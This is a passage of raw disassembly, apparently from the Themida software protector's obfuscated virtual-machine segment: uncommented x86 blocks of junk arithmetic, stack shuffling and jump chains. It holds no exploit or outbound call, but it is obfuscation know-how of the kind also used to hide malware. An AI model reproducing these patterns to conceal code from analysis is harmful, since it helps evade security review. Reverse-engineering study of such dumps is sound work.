loc_5552FD: ; CODE XREF: Themida_:00558796j
push 78CEh
jmp loc_559B36
; ---------------------------------------------------------------------------
loc_555307: ; CODE XREF: Themida_:005558D3j
mov [esp], ebp
push esp
pop ebp
jmp loc_5582E8
; ---------------------------------------------------------------------------
mov ax, [esp]
push 30F6h
mov [esp], esi
mov esi, esp
push edi
mov edi, 7ADD5CDCh
shr edi, 5
sub edi, 3D6EAE2h
add esi, edi
pop edi
push eax
mov eax, esp
push esi
mov esi, 596C1698h
xor esi, 596C169Ch
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 50945CE7h
neg ecx
or ecx, 571137E4h
shr ecx, 3
add ecx, 3F0A7D65h
shr ecx, 8
xor ecx, 5EF9F6h
sub esi, 4E274DD2h
add esi, ecx
add esi, 4E274DD2h
jmp loc_55D795
; ---------------------------------------------------------------------------
loc_555381: ; CODE XREF: Themida_:00556886j
mov ebx, 4
jmp loc_55D0B9
; ---------------------------------------------------------------------------
loc_55538B: ; CODE XREF: Themida_:0055ADE2j
pop eax
pop ebx
jmp loc_55C129
; ---------------------------------------------------------------------------
loc_555392: ; CODE XREF: Themida_:0055C66Aj
mov ebp, 13B4D51h
xor ebp, edx
jmp loc_552840
; ---------------------------------------------------------------------------
loc_55539E: ; CODE XREF: Themida_:005546D3j
sub esp, 4
jmp loc_5592D4
; ---------------------------------------------------------------------------
loc_5553A6: ; CODE XREF: Themida_:00559440j
pop esi
pop ecx
sub ecx, 44C93194h
jmp loc_558C10
; ---------------------------------------------------------------------------
loc_5553B3: ; CODE XREF: Themida_:00558177j
add edi, 4
add edi, 4
push edi
jmp loc_555F34
; ---------------------------------------------------------------------------
mov ebx, 3B7A7E43h
neg ebx
xchg ebp, ebx
not ebp
xchg ebp, ebx
neg ebx
neg ebx
push ecx
jmp loc_55591F
; ---------------------------------------------------------------------------
loc_5553D9: ; CODE XREF: Themida_:00556935j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
and eax, edx
push dword ptr [esp]
pop edx
add esp, 4
or eax, eax
jz loc_55CD46
push dword ptr [edi+28h]
push eax
mov eax, 55D55E7Ch
xor [esp+4], eax
pop eax
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 0D7D45BCh
neg edx
dec edx
shl edx, 5
jmp loc_55C187
; ---------------------------------------------------------------------------
loc_555429: ; CODE XREF: Themida_:0055DB3Ej
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55543C: ; CODE XREF: Themida_:005551CAj
dec esi
dec esi
xor esi, 792B58EFh
sub ebx, esi
pop esi
sub ebx, 3F2786Ah
add ebx, edi
add ebx, 3F2786Ah
jmp loc_55D999
; ---------------------------------------------------------------------------
loc_55545A: ; CODE XREF: Themida_:0055778Ej
pop esp
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
jmp loc_5556B7
; ---------------------------------------------------------------------------
loc_555485: ; CODE XREF: Themida_:0055BFDFj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55548A: ; CODE XREF: Themida_:005529F5j
push eax
jmp loc_55304A
; ---------------------------------------------------------------------------
loc_555490: ; CODE XREF: Themida_:00554F8Bj
and eax, edi
jmp loc_557765
; ---------------------------------------------------------------------------
loc_555497: ; CODE XREF: Themida_:005567A8j
shr eax, 6
xor eax, 4B102894h
dec eax
add eax, 459D62F3h
add eax, 0E0B0433Fh
jmp loc_555F00
; ---------------------------------------------------------------------------
loc_5554AF: ; CODE XREF: Themida_:0055B317j
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp]
jmp loc_555D23
; ---------------------------------------------------------------------------
loc_5554C0: ; CODE XREF: Themida_:00553141j
pop edi
add esp, 4
push edi
jmp loc_55332D
; ---------------------------------------------------------------------------
loc_5554CD: ; CODE XREF: Themida_:00553CC0j
mov edi, esi
pop esi
jmp loc_55C090
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5554E4
; ---------------------------------------------------------------------------
loc_5554DD: ; CODE XREF: Themida_:005576FCj
add ecx, ebx
jmp loc_555938
; ---------------------------------------------------------------------------
loc_5554E4: ; CODE XREF: Themida_:005554D8j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5554E9: ; CODE XREF: Themida_:00554FF8j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5554EE: ; CODE XREF: Themida_:0055BA77j
add ecx, 4
push ebx
mov ebx, 4
jmp loc_558B5F
; ---------------------------------------------------------------------------
loc_5554FF: ; CODE XREF: Themida_:00556F48j
mov [esp], ebx
mov ebx, 2
add esi, 0A076CFFh
sub esi, 140724C8h
add esi, ebx
add esi, 140724C8h
sub esi, 0A076CFFh
push dword ptr [esp]
pop ebx
push 245Bh
jmp loc_55AA98
; ---------------------------------------------------------------------------
loc_55552F: ; CODE XREF: Themida_:005532A7j
mov esi, 0CD7DFBFCh
jmp loc_558F27
; ---------------------------------------------------------------------------
loc_555539: ; CODE XREF: Themida_:0055689Cj
shl edx, 5
sub edx, 0A146F8A4h
xor esi, edx
pop edx
xor esi, 40E26985h
jmp loc_556A6C
; ---------------------------------------------------------------------------
loc_555550: ; CODE XREF: Themida_:0055BE72j
mov [esp], ebx
push esi
mov esi, 36AB4881h
dec esi
inc esi
jmp loc_55D2D3
; ---------------------------------------------------------------------------
loc_555560: ; CODE XREF: Themida_:00558CB9j
mov ebp, ebx
jmp loc_55D9D4
; ---------------------------------------------------------------------------
loc_555567: ; CODE XREF: Themida_:00556131j
sub esp, 4
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], edi
jmp loc_5543AD
; ---------------------------------------------------------------------------
loc_55557D: ; CODE XREF: Themida_:00559F75j
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55559B: ; CODE XREF: Themida_:00557EBDj
push dword ptr [esp]
mov ebx, [esp]
jmp loc_557E9E
; ---------------------------------------------------------------------------
loc_5555A6: ; CODE XREF: Themida_:0055CFE4j
add ebx, eax
push eax
mov eax, 78135DD7h
shr eax, 3
sub eax, 0CFCD35F3h
jmp loc_557931
; ---------------------------------------------------------------------------
loc_5555BB: ; CODE XREF: Themida_:0055CBF4j
sub esp, 4
jmp loc_554E66
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_557D43
; ---------------------------------------------------------------------------
loc_5555D0: ; CODE XREF: Themida_:005520B1j
add edx, edi
add edx, 48A75FE9h
add edx, 58F64BBDh
push ecx
mov ecx, 0
push eax
jmp loc_553CEF
; ---------------------------------------------------------------------------
loc_5555EA: ; CODE XREF: Themida_:005568F6j
pop esi
add esp, 4
jmp loc_5523E3
; ---------------------------------------------------------------------------
loc_5555F6: ; CODE XREF: Themida_:00556038j
pop ebx
push ecx
mov ecx, 2
sub edi, ecx
pop ecx
jmp loc_558F0F
; ---------------------------------------------------------------------------
loc_555605: ; CODE XREF: Themida_:005527FBj
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_557E2D
; ---------------------------------------------------------------------------
loc_555616: ; CODE XREF: Themida_:0055D8F5j
push 4EEh
mov [esp], esi
mov esi, 76523018h
push ebp
mov ebp, 1DC80FF3h
neg ebp
xor ebp, 5A6E7419h
neg ebp
xor ebp, 48195255h
sub esi, 207B5B64h
sub esi, ebp
jmp loc_55B0BC
; ---------------------------------------------------------------------------
loc_555646: ; CODE XREF: Themida_:0055992Dj
mov edx, edi
pop edi
pop esi
and eax, edx
pop edx
shr eax, 0Ch
jmp loc_55AA18
; ---------------------------------------------------------------------------
loc_555655: ; CODE XREF: Themida_:00558A30j
dec ah
not ah
shr ah, 2
xor ah, 91h
xor ah, 42h
xor bh, ah
pop eax
add al, bh
pop ebx
pop ebx
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push esi
mov esi, 6B593A36h
sub dword ptr [esp+4], 4C621062h
sub dword ptr [esp+4], 6B444E6Ah
jmp loc_556347
; ---------------------------------------------------------------------------
loc_55568C: ; CODE XREF: Themida_:00555DCCj
pop edi
jmp loc_55973A
; ---------------------------------------------------------------------------
loc_555692: ; CODE XREF: Themida_:00558ADAj
mov ebx, 0
add ebx, ecx
jmp loc_559E29
; ---------------------------------------------------------------------------
loc_55569E: ; CODE XREF: Themida_:00559120j
push esi
mov esi, 79922F3Ah
add esi, 0FFFFFFFFh
add esi, 0C8C7DD18h
add eax, esi
jmp loc_5598A2
; ---------------------------------------------------------------------------
loc_5556B7: ; CODE XREF: Themida_:00555480j
pop edi
pop dword ptr [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5FD5h
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_5565C5
; ---------------------------------------------------------------------------
loc_5556E0: ; CODE XREF: Themida_:0055ABFCj
and eax, ebp
push dword ptr [esp]
jmp loc_55BCFA
; ---------------------------------------------------------------------------
loc_5556EA: ; CODE XREF: Themida_:005519E2j
push edi
mov edi, esp
push eax
mov eax, 3AC82527h
jmp loc_5588CA
; ---------------------------------------------------------------------------
loc_5556F8: ; CODE XREF: Themida_:0055CCC8j
and dl, 47h
push bx
mov bh, 0C1h
sub dl, bh
pop bx
push eax
mov ah, 0C8h
jmp loc_554577
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55571A: ; CODE XREF: Themida_:00556E59j
mov bh, 0D0h
push ecx
jmp loc_5566EE
; ---------------------------------------------------------------------------
loc_555722: ; CODE XREF: Themida_:0055BC42j
dec edx
inc edx
xor edx, 9D91245h
mov eax, edx
jmp loc_55DA03
; ---------------------------------------------------------------------------
loc_555731: ; CODE XREF: Themida_:005560C6j
push edx
mov dl, 86h
dec dl
shl dl, 8
shl dl, 6
not dl
jmp loc_552D45
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
jmp loc_5566A4
; ---------------------------------------------------------------------------
loc_55574B: ; CODE XREF: Themida_:0055807Ej
push ecx
push 783362A1h
mov ecx, [esp]
add esp, 4
add eax, 3B209FEh
sub eax, ecx
push esi
mov esi, 3B209FEh
sub eax, 601C7003h
jmp loc_558126
; ---------------------------------------------------------------------------
loc_555771: ; CODE XREF: Themida_:00552CF3j
add ebx, edi
push dword ptr [esp]
pop edi
push edx
jmp loc_554DC1
; ---------------------------------------------------------------------------
loc_55577D: ; CODE XREF: Themida_:0055C5C8j
push edi
mov edi, 43FC0217h
push 6DD1h
mov [esp], ebx
mov ebx, 0BD4C18F2h
jmp loc_555BDD
; ---------------------------------------------------------------------------
loc_555795: ; CODE XREF: Themida_:0055B8ADj
add esi, 4
push edx
mov edx, 4
sub esi, edx
pop edx
xchg esi, [esp]
jmp loc_558295
; ---------------------------------------------------------------------------
loc_5557AC: ; CODE XREF: Themida_:0055BC67j
mov [esp], ebx
jmp loc_55D5EE
; ---------------------------------------------------------------------------
loc_5557B4: ; CODE XREF: Themida_:0055B9FEj
xchg edx, [esp]
pop esp
add esp, 4
and eax, esi
pop esi
or edx, eax
shl edx, 1
push 66A2h
mov [esp], eax
push 24h
mov eax, [esp]
add esp, 4
sub eax, 374D4369h
add eax, edi
add eax, 374D4369h
push edx
mov edx, 0
add edx, eax
push eax
jmp loc_5559D6
; ---------------------------------------------------------------------------
loc_5557F2: ; CODE XREF: Themida_:0055D585j
and [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebx
jmp loc_55D485
; ---------------------------------------------------------------------------
loc_555816: ; CODE XREF: Themida_:00558873j
pop ebp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55581C: ; CODE XREF: Themida_:00552D9Ej
push ebp
mov ebp, 34737C0h
sub ebp, 1
neg ebp
dec ebp
push ecx
push ebp
jmp loc_552622
; ---------------------------------------------------------------------------
loc_555832: ; CODE XREF: Themida_:00556D78j
pop esi
jmp loc_556AE5
; ---------------------------------------------------------------------------
loc_555838: ; CODE XREF: Themida_:0055609Fj
push edi
mov edi, 8A15516h
jmp loc_555B01
; ---------------------------------------------------------------------------
loc_555843: ; CODE XREF: Themida_:00558016j
mov [esp], esi
push eax
push edx
push 1EB65994h
jmp loc_55BC41
; ---------------------------------------------------------------------------
jmp loc_551815
; ---------------------------------------------------------------------------
loc_555857: ; CODE XREF: Themida_:005529ECj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55585C: ; CODE XREF: Themida_:005558ECj
sub al, bl
jmp loc_556594
; ---------------------------------------------------------------------------
loc_555863: ; CODE XREF: Themida_:0055C1EBj
mov edx, esp
add edx, 4
add edx, 2
xchg edx, [esp]
mov esp, [esp]
jmp loc_555BF3
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebx
jmp loc_558074
; ---------------------------------------------------------------------------
loc_55588B: ; CODE XREF: Themida_:00558763j
sub esi, 1
jmp loc_555B48
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_55442E
; ---------------------------------------------------------------------------
loc_55589E: ; CODE XREF: Themida_:005559B2j
pop edi
push esi
push eax
jmp loc_552056
; ---------------------------------------------------------------------------
loc_5558A6: ; CODE XREF: Themida_:00556100j
xor bh, 67h
sub ch, bh
pop ebx
sub ch, bl
add ch, 1Eh
pop ebx
jmp loc_55C543
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_551815
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_555307
; ---------------------------------------------------------------------------
loc_5558D8: ; CODE XREF: Themida_:0055B7C0j
shl byte ptr [esp], cl
pushf
jmp loc_55197C
; ---------------------------------------------------------------------------
loc_5558E1: ; CODE XREF: Themida_:00554B41j
inc edx
jmp loc_5573AA
; ---------------------------------------------------------------------------
lodsb
sub al, 38h
add al, 2Ch
jmp loc_55585C
; ---------------------------------------------------------------------------
loc_5558F1: ; CODE XREF: Themida_:0055B0C3j
and esi, 62F569FFh
add esi, 5CB67268h
shl esi, 1
jmp loc_5578AC
; ---------------------------------------------------------------------------
loc_555904: ; CODE XREF: Themida_:00557C52j
mov bh, 99h
or ch, bh
pop bx
not ch
jmp loc_558BBA
; ---------------------------------------------------------------------------
loc_555911: ; CODE XREF: Themida_:0055C136j
sub al, cl
jmp loc_55DAE0
; ---------------------------------------------------------------------------
loc_555918: ; CODE XREF: Themida_:0055D3FFj
mov dl, 2Eh
jmp loc_55276A
; ---------------------------------------------------------------------------
loc_55591F: ; CODE XREF: Themida_:005553D4j
mov ecx, 5CAD7117h
sub ebx, ecx
pop ecx
jmp loc_559B9E
; ---------------------------------------------------------------------------
loc_55592C: ; CODE XREF: Themida_:005587EAj
push edi
push ebx
mov ebx, 2
jmp loc_559947
; ---------------------------------------------------------------------------
loc_555938: ; CODE XREF: Themida_:005554DFj
sub ecx, 26977663h
sub ecx, 0D45534Ah
jmp loc_55871F
; ---------------------------------------------------------------------------
loc_555949: ; CODE XREF: Themida_:00553086j
sub esp, 4
mov [esp], eax
mov eax, 6CCB33C6h
shl eax, 5
jmp loc_552FAA
; ---------------------------------------------------------------------------
loc_55595C: ; CODE XREF: Themida_:0055B89Cj
push bx
mov bl, 0E1h
xor ch, bl
mov bx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp]
pop esp
push ebx
mov bl, ch
mov ah, bl
jmp loc_55A988
; ---------------------------------------------------------------------------
loc_555983: ; CODE XREF: Themida_:00555A16j
pop dword ptr [esp]
push edi
mov edi, 4
add [esp+4], edi
mov edi, [esp]
jmp loc_55C834
; ---------------------------------------------------------------------------
dd 240C8B66h, 4EC81h, 34890000h, 3E1F6824h, 94E90000h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5559AF: ; CODE XREF: Themida_:0055A9EDj
pop ecx
push edi
push esp
jmp loc_55589E
; ---------------------------------------------------------------------------
loc_5559B7: ; CODE XREF: Themida_:0055882Aj
add esp, 4
xor bl, al
jmp loc_55A0CA
; ---------------------------------------------------------------------------
loc_5559C1: ; CODE XREF: Themida_:00558AF9j
mov esp, [esp]
mov [esp], ebp
mov ebp, ebx
push 1542h
mov [esp], ebp
jmp loc_556065
; ---------------------------------------------------------------------------
loc_5559D6: ; CODE XREF: Themida_:005557EDj
push ecx
mov ecx, 600A38AFh
mov eax, 600A38AFh
xor eax, ecx
pop ecx
add eax, edx
add dword ptr [eax], 1
mov eax, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
loc_555A01: ; CODE XREF: Themida_:0055BDA9j
push 2248h
jmp loc_55D07C
; ---------------------------------------------------------------------------
push 6859h
push 2EFBh
push esp
jmp loc_555983
; ---------------------------------------------------------------------------
loc_555A1B: ; CODE XREF: Themida_:00556BBCj
pop ebp
mov esi, ebx
pop ebx
push esi
pop ebx
pop esi
xor eax, ebx
pop ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_5552A4
; ---------------------------------------------------------------------------
loc_555A3F: ; CODE XREF: Themida_:0055D172j
add eax, 6EE43874h
xor eax, 5FD50C0Fh
add ecx, eax
jmp loc_551FE0
; ---------------------------------------------------------------------------
loc_555A50: ; CODE XREF: Themida_:00554933j
mov ecx, [esp]
push 12A2h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, edx
push edx
sub esp, 4
mov [esp], edi
push ebp
jmp loc_55A74B
; ---------------------------------------------------------------------------
loc_555A7C: ; CODE XREF: Themida_:005593DAj
mov bh, 0F5h
mov ch, bh
jmp loc_555DD1
; ---------------------------------------------------------------------------
loc_555A85: ; CODE XREF: Themida_:0055B012j
add edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_553D0D
; ---------------------------------------------------------------------------
loc_555A92: ; CODE XREF: Themida_:005527F0j
xchg ecx, [esp]
mov esp, [esp]
or eax, eax
jz loc_5531C4
push ebx
mov ebx, 1Ch
push edx
mov edx, 163F20DAh
add ebx, edx
pop edx
add ebx, edi
push edx
mov edx, 163F20DAh
sub ebx, edx
mov edx, [esp]
push esi
push esp
jmp loc_55962F
; ---------------------------------------------------------------------------
loc_555AC3: ; CODE XREF: Themida_:0055426Bj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ecx, [esp]
jmp loc_559984
; ---------------------------------------------------------------------------
loc_555ADB: ; CODE XREF: Themida_:0055BC23j
pop esp
push edx
mov edx, 27D7667Eh
sub ebx, edx
pop edx
sub ebx, 7974374Bh
add ebx, edi
add ebx, 7974374Bh
add ebx, 27D7667Eh
push dword ptr [ebx]
push esi
jmp loc_559437
; ---------------------------------------------------------------------------
loc_555B01: ; CODE XREF: Themida_:0055583Ej
add edi, 27E23176h
and edi, 1CDE53B4h
and edi, 63306A86h
dec edi
xchg esi, edi
jmp loc_559829
; ---------------------------------------------------------------------------
loc_555B1B: ; CODE XREF: Themida_:00553DAAj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
push ebx
mov ebx, 591C585Bh
xor [esp+4], ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
push 4BE5h
mov [esp], edi
jmp loc_558175
; ---------------------------------------------------------------------------
loc_555B48: ; CODE XREF: Themida_:0055588Ej
add esi, 0DF76B92Eh
add ebx, esi
mov esi, [esp]
add esp, 4
push edx
mov edx, 4
add ebx, edx
pop edx
jmp loc_554E93
; ---------------------------------------------------------------------------
loc_555B67: ; CODE XREF: Themida_:00558F98j
mov ecx, [esp]
add esp, 4
sub eax, 13369C5h
push ecx
jmp loc_55D8BA
; ---------------------------------------------------------------------------
loc_555B7B: ; CODE XREF: Themida_:0055AA13j
add al, 0Fh
sub al, bl
push ebx
mov bh, 6Eh
jmp loc_558D0C
; ---------------------------------------------------------------------------
loc_555B87: ; CODE XREF: Themida_:0055789Aj
xor cl, 79h
jmp loc_55C3BE
; ---------------------------------------------------------------------------
loc_555B8F: ; CODE XREF: Themida_:0055D40Dj
mov [esp], eax
push esp
pop eax
add eax, 4
jmp loc_55CA52
; ---------------------------------------------------------------------------
loc_555B9E: ; CODE XREF: Themida_:0055DBCCj
push edi
push 4
pop edi
jmp loc_559463
; ---------------------------------------------------------------------------
loc_555BAA: ; CODE XREF: Themida_:00553D6Fj
not al
add al, 0FFh
sub al, 1Dh
sub dl, 56h
jmp loc_55BD05
; ---------------------------------------------------------------------------
loc_555BB8: ; CODE XREF: Themida_:0055911Aj
pop esp
mov cx, [esp]
push ebp
push eax
mov eax, esp
jmp loc_55824B
; ---------------------------------------------------------------------------
loc_555BC6: ; CODE XREF: Themida_:0055CC32j
push ebx
mov ebx, 1E20F26h
mov edi, ebx
pop ebx
shr edi, 3
sub edi, 3C41E0h
jmp loc_554088
; ---------------------------------------------------------------------------
loc_555BDD: ; CODE XREF: Themida_:00555790j
xor edi, ebx
pop ebx
add ebx, 26491C75h
sub ebx, edi
sub ebx, 26491C75h
jmp loc_559749
; ---------------------------------------------------------------------------
loc_555BF3: ; CODE XREF: Themida_:00555877j
push ecx
mov ch, 18h
and ch, 8Dh
add ch, 0CBh
shl ch, 1
add ch, 1
jmp loc_55488C
; ---------------------------------------------------------------------------
loc_555C06: ; CODE XREF: Themida_:00553671j
add ebp, 37B16961h
push edx
mov edx, 60B03B35h
shl edx, 8
or edx, 45C67D47h
shl edx, 2
xor edx, 392A6304h
push edi
mov edi, 68227BCDh
jmp loc_555DCA
; ---------------------------------------------------------------------------
loc_555C2F: ; CODE XREF: Themida_:00553A19j
push ebx
push edx
push ebp
mov ebp, 73891F27h
mov edx, ebp
pop ebp
neg edx
neg edx
and edx, 223756ACh
shr edx, 8
push ebx
mov ebx, 409D2540h
xor edx, ebx
pop ebx
mov ebx, edx
pop edx
add ebx, 0BF40DC2Ah
and ecx, ebx
jmp loc_55C61A
; ---------------------------------------------------------------------------
loc_555C60: ; CODE XREF: Themida_:0055AC59j
push edi
mov edi, 9441F15Fh
sub esi, 0F536B3h
sub esi, edi
add esi, 0F536B3h
pop edi
jmp loc_55DC4C
; ---------------------------------------------------------------------------
loc_555C7A: ; CODE XREF: Themida_:00552EB1j
shl ebp, 3
push edi
mov edi, 0FFFFFFFFh
jmp loc_5571E2
; ---------------------------------------------------------------------------
loc_555C88: ; CODE XREF: Themida_:00553EF5j
mov ebx, 4
add edx, ebx
mov ebx, [esp]
add esp, 4
xchg edx, [esp]
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_555C9E: ; CODE XREF: Themida_:00557F40j
xor ebx, 0B1A5143h
mov edi, ebx
jmp loc_55B64A
; ---------------------------------------------------------------------------
loc_555CAB: ; CODE XREF: Themida_:0055848Fj
push edx
jmp loc_554CA9
; ---------------------------------------------------------------------------
loc_555CB1: ; CODE XREF: Themida_:00551D4Dj
add al, 4Ch
push ecx
mov cl, 0Fh
sub cl, 0C5h
push bx
push ecx
jmp loc_55788C
; ---------------------------------------------------------------------------
loc_555CC1: ; CODE XREF: Themida_:0055370Bj
mov si, 1119h
xor si, 1CA7h
sub si, 25DBh
inc si
neg si
sub si, 4B5Ch
jmp loc_558276
; ---------------------------------------------------------------------------
loc_555CDE: ; CODE XREF: Themida_:00552E14j
pop ebx
sub esi, ebx
pop ebx
xchg ebp, esi
not ebp
xchg ebp, esi
shr esi, 4
jmp loc_5528B0
; ---------------------------------------------------------------------------
loc_555CF0: ; CODE XREF: Themida_:0055BB2Cj
mov ebp, 7DA53ACBh
shr ebp, 7
push eax
jmp loc_556198
; ---------------------------------------------------------------------------
loc_555CFE: ; CODE XREF: Themida_:005582DBj
mov edx, 225C619Dh
shl edx, 1
add edx, 23380899h
jmp loc_559E17
; ---------------------------------------------------------------------------
loc_555D10: ; CODE XREF: Themida_:00557AB9j
mov ecx, 5B013524h
sub ebx, ecx
pop ecx
push edx
mov edx, 489155B4h
jmp loc_558115
; ---------------------------------------------------------------------------
loc_555D23: ; CODE XREF: Themida_:005554BBj
pop esp
jmp loc_551F48
; ---------------------------------------------------------------------------
loc_555D29: ; CODE XREF: Themida_:0055D270j
sub eax, 44D31987h
jmp loc_558446
; ---------------------------------------------------------------------------
loc_555D33: ; CODE XREF: Themida_:00556171j
sub dword ptr [esp], 1BFB2252h
pop esi
jmp loc_55AA7B
; ---------------------------------------------------------------------------
loc_555D40: ; CODE XREF: Themida_:005521DCj
mov [esp], edx
mov edx, esp
push esi
mov esi, 3FAE4485h
shr esi, 3
xor esi, 7D9804E5h
jmp loc_55D2A5
; ---------------------------------------------------------------------------
loc_555D59: ; CODE XREF: Themida_:00556609j
or cx, 1748h
sub cx, 0DF2Dh
sub ax, 4C74h
sub ax, cx
push si
mov si, 4C74h
jmp loc_55B5D1
; ---------------------------------------------------------------------------
loc_555D75: ; CODE XREF: Themida_:00558C2Aj
mov eax, edx
pop edx
sub ecx, eax
mov eax, [esp]
add esp, 4
push ecx
pop ebx
pop ecx
or [edi+1Ch], ebx
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_552CF8
; ---------------------------------------------------------------------------
loc_555DA2: ; CODE XREF: Themida_:0055D0CFj
mov esi, esp
add esi, 4
jmp loc_55B42B
; ---------------------------------------------------------------------------
loc_555DAF: ; CODE XREF: Themida_:0055BDF9j
add edx, 4
xchg edx, [esp]
pop esp
push ebx
mov ebx, 21CE14A8h
jmp loc_55AC77
; ---------------------------------------------------------------------------
loc_555DC1: ; CODE XREF: Themida_:0055CC5Bj
mov dh, 6Eh
shr dh, 1
jmp loc_558039
; ---------------------------------------------------------------------------
loc_555DCA: ; CODE XREF: Themida_:00555C2Aj
or edx, edi
jmp loc_55568C
; ---------------------------------------------------------------------------
loc_555DD1: ; CODE XREF: Themida_:00555A80j
pop ebx
jmp loc_553C3E
; ---------------------------------------------------------------------------
loc_555DD7: ; CODE XREF: Themida_:00555FFEj
dec esi
inc esi
jmp loc_557671
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 0B5Ch
mov [esp], edx
mov edx, esp
push ecx
mov ecx, 228603DEh
sub ecx, 177623EBh
neg ecx
add ecx, 0B0FDFF7h
add edx, 5BFF4BBBh
add edx, ecx
push edi
push ecx
mov ecx, 3C691ABFh
mov edi, 9C715EB1h
sub edi, ecx
pop ecx
xor edi, 4AD769FCh
jmp loc_559DBA
; ---------------------------------------------------------------------------
loc_555E21: ; CODE XREF: Themida_:0055C8D5j
mov [esp], ebp
push 5F6D6C22h
pop ebp
jmp loc_557587
; ---------------------------------------------------------------------------
loc_555E2F: ; CODE XREF: Themida_:00559205j
sub esp, 4
mov [esp], edi
mov edi, 2D62623Dh
dec edi
not edi
add edi, 6024404Fh
push edx
mov edx, 76082B7Ah
sub edi, edx
pop edx
xor edi, 8002C88Dh
add eax, edi
pop edi
add eax, 5B2B5951h
sub eax, ebx
jmp loc_55A7CE
; ---------------------------------------------------------------------------
loc_555E64: ; CODE XREF: Themida_:0055D1DAj
xor ebx, edi
pop edi
and eax, ebx
jmp loc_55BA14
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edi
jmp loc_55C96C
; ---------------------------------------------------------------------------
loc_555E77: ; CODE XREF: Themida_:00552C7Ej
mov eax, 4
add ecx, 4D3327C7h
sub ecx, eax
sub ecx, 4D3327C7h
pop eax
push 46C9h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], ecx
mov ecx, 800h
push ebp
jmp loc_55347D
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 581A11F9h
or ecx, 62F24C50h
push ebx
mov ebx, 50DD6467h
shl ebx, 6
add ebx, 34D261F1h
push ebp
mov ebp, 1B1D23F8h
inc ebp
sub ebp, 38001A0Eh
and ebp, 230E5812h
inc ebp
add ebp, 1A4B5ABCh
xor ebx, ebp
pop ebp
add ebx, 297E44E7h
jmp loc_55C4DA
; ---------------------------------------------------------------------------
loc_555F00: ; CODE XREF: Themida_:005554AAj
sub esi, eax
pop eax
shl esi, 1
xor esi, 17EC4845h
jmp loc_559F59
; ---------------------------------------------------------------------------
loc_555F10: ; CODE XREF: Themida_:00554EE1j
add eax, edx
sub eax, 1DB41175h
mov edx, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
rol word ptr [esp], cl
pushf
jmp loc_557077
; ---------------------------------------------------------------------------
loc_555F34: ; CODE XREF: Themida_:005553BDj
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
xor eax, 591C585Bh
push 790Dh
mov [esp], edi
push 80000h
push dword ptr [esp]
pop edi
push edi
push esp
mov edi, [esp]
add esp, 4
jmp loc_551A3B
; ---------------------------------------------------------------------------
loc_555F6B: ; CODE XREF: Themida_:00559F07j
mov esi, edi
pop edi
add ecx, 13440421h
jmp loc_556074
; ---------------------------------------------------------------------------
loc_555F79: ; CODE XREF: Themida_:0055D7D9j
pop ebx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
